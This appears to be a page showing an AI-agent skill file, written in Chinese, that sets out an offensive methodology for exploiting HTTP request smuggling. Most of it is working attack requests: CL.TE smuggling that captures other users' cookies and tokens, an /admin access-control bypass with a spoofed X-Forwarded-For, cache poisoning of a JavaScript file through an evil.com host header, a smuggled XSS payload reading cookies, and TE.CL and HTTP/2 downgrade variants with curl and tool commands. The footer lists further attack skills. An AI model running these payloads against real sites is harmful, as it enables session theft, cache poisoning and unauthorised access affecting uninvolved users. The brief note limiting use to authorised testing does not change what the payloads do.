http-smuggling-advanced

$npx mdskill add wgpsec/AboutSecurity/http-smuggling-advanced

Execute chained exploits via confirmed HTTP smuggling vulnerabilities.

  • Steal credentials, bypass ACLs, poison caches, and trigger XSS.
  • Requires prior detection of CL.TE, TE.CL, TE.TE, or H2.CL issues.
  • Selects payloads based on specific smuggling variant characteristics.
  • Delivers results by injecting crafted requests into vulnerable endpoints.

SKILL.md

.github/skills/http-smuggling-advancedView on GitHub ↗
---
name: http-smuggling-advanced
description: "HTTP 请求走私高级利用方法论。扩展 cache-poisoning-smuggling 的走私部分。当已确认存在 CL.TE/TE.CL/TE.TE/H2.CL 走私时使用。覆盖链式利用(窃取凭据、绕过 ACL、投毒 Web 缓存、XSS 其他用户)和 HTTP/2 降级走私"
metadata:
  tags: "http smuggling,request smuggling,desync,cl-te,te-cl,h2-smuggling,http2,降级走私,请求走私"
  category: "exploit"
  mitre_attack: "T1190,T1557"
---

# HTTP 请求走私高级利用

> **前置**: 本 skill 专注于**确认走私漏洞后的链式利用**

## ⛔ 深入参考

- 各类走私变体检测 payload → [references/smuggling-detection.md](references/smuggling-detection.md)
- H2C/H2 降级走私技术 → [references/h2-smuggling.md](references/h2-smuggling.md)

---

## Phase 0: 走私类型速查

```
前端(FE) 用什么解析请求长度?后端(BE) 用什么?

CL.TE: FE 用 Content-Length → BE 用 Transfer-Encoding
TE.CL: FE 用 Transfer-Encoding → BE 用 Content-Length
TE.TE: 两者都用 TE,但对畸形 TE 头处理不一致
H2.CL: FE 用 HTTP/2 帧长度 → BE 降级到 HTTP/1.1 用 CL
H2.TE: FE 用 HTTP/2 → BE 降级后用 TE

⛔ 确认走私存在后才进入本 skill 的利用阶段
```

## Phase 1: CL.TE 走私利用

### 1.1 窃取其他用户请求

```http
POST / HTTP/1.1
Host: target.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /log HTTP/1.1
Host: target.com
Content-Length: 500
Content-Type: application/x-www-form-urlencoded

stolen=
```

**原理:** 后端将 `POST /log ... stolen=` 当作下一个请求的前缀 → 下一个用户的完整请求被拼接到 `stolen=` 后面 → 你可以读取他们的 Cookie/Token

### 1.2 绕过前端 ACL

```http
POST / HTTP/1.1
Host: target.com
Content-Length: 73
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com
X-Forwarded-For: 127.0.0.1

```

**原理:** 前端只检查第一个请求(POST /)→ 放行。被走私的 `GET /admin` 直接到达后端 → 绕过前端的 IP/路径限制。

### 1.3 投毒 Web 缓存

```http
POST / HTTP/1.1
Host: target.com
Content-Length: 120
Transfer-Encoding: chunked

0

GET /static/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

```

**原理:** 走私的 GET 请求 + 恶意 Host 头 → 后端返回包含 `evil.com` 的响应 → 前端缓存此响应 → 其他用户访问 `/static/main.js` 获取到被投毒的内容。

### 1.4 反射 XSS 升级为存储 XSS

```http
POST / HTTP/1.1
Host: target.com
Content-Length: 150
Transfer-Encoding: chunked

0

GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
Host: target.com
X-Random: x
```

**原理:** 如果 `/search` 有反射 XSS → 走私请求让下一个用户的响应变成包含 XSS payload 的搜索结果页 → 反射变存储。

## Phase 2: TE.CL 走私利用

```http
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

78
POST /admin HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

```

**关键:** 前端根据 TE 正确读取全部 chunked 数据。后端根据 CL=4 只读 `78\r\n`,剩余的 `POST /admin ...` 被当作独立新请求。

## Phase 3: HTTP/2 降级走私 (H2.CL / H2.TE)

### 3.1 H2.CL 走私

```
HTTP/2 请求(前端):
:method: POST
:path: /
:authority: target.com
content-length: 0

走私的 HTTP/1.1(后端看到的):
POST / HTTP/1.1\r\n
Host: target.com\r\n
Content-Length: 0\r\n
\r\n
GET /admin HTTP/1.1\r\n
Host: target.com\r\n
\r\n
```

**原理:** HTTP/2 用帧长度,不需要 CL。但降级到 HTTP/1.1 时,错误的 CL 值使后端将多余数据当作新请求。

### 3.2 H2 Request Tunneling

```
利用 HTTP/2 HEADERS 帧的特殊头:
:method: POST
:path: /
:authority: target.com
transfer-encoding: chunked

在 HTTP/2 中 TE 头通常被忽略,但降级后生效
→ 可构造 CL 与 TE 不一致的情况
```

## Phase 4: 自动化检测与利用

### 工具

```bash
# smuggler.py — 自动化检测
python3 smuggler.py -u https://target.com

# Burp Suite — HTTP Request Smuggler 扩展
# 安装扩展 → Scan → 报告走私类型

# h2csmuggler — HTTP/2 明文升级走私
python3 h2csmuggler.py -x https://target.com -t /admin

# 手动 curl 验证(CL.TE)
curl -i -X POST https://target.com/ \
  -H "Content-Length: 6" \
  -H "Transfer-Encoding: chunked" \
  --data-binary $'0\r\n\r\nG'
# 如果第二次正常 GET 返回 "GGET / HTTP/1.1 ..." 405 → 存在走私
```

### 验证走私成功的方法

```
方法 1: 时间差异
├─ 走私一个有延迟的请求 → 观察响应时间变化

方法 2: 差异响应
├─ 走私 GET /404path → 下一个正常请求返回 404

方法 3: 反射请求
├─ 走私请求到自己控制的日志服务器
├─ 观察是否收到其他用户的请求

方法 4: OAST(Out-of-band)
├─ 走私 Host: burp-collaborator.net
├─ 检查 Collaborator 收到的 DNS/HTTP 请求
```

## ⛔ 风险控制

- 请求走私**会影响其他用户** → 仅在授权测试中使用
- 测试时使用唯一标识符区分你的请求
- 先用时间差异法确认 → 再进行利用
- 避免大量走私请求导致服务不可用

More from wgpsec/AboutSecurity

SkillDescription
401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
agent-security|
ai-data-security|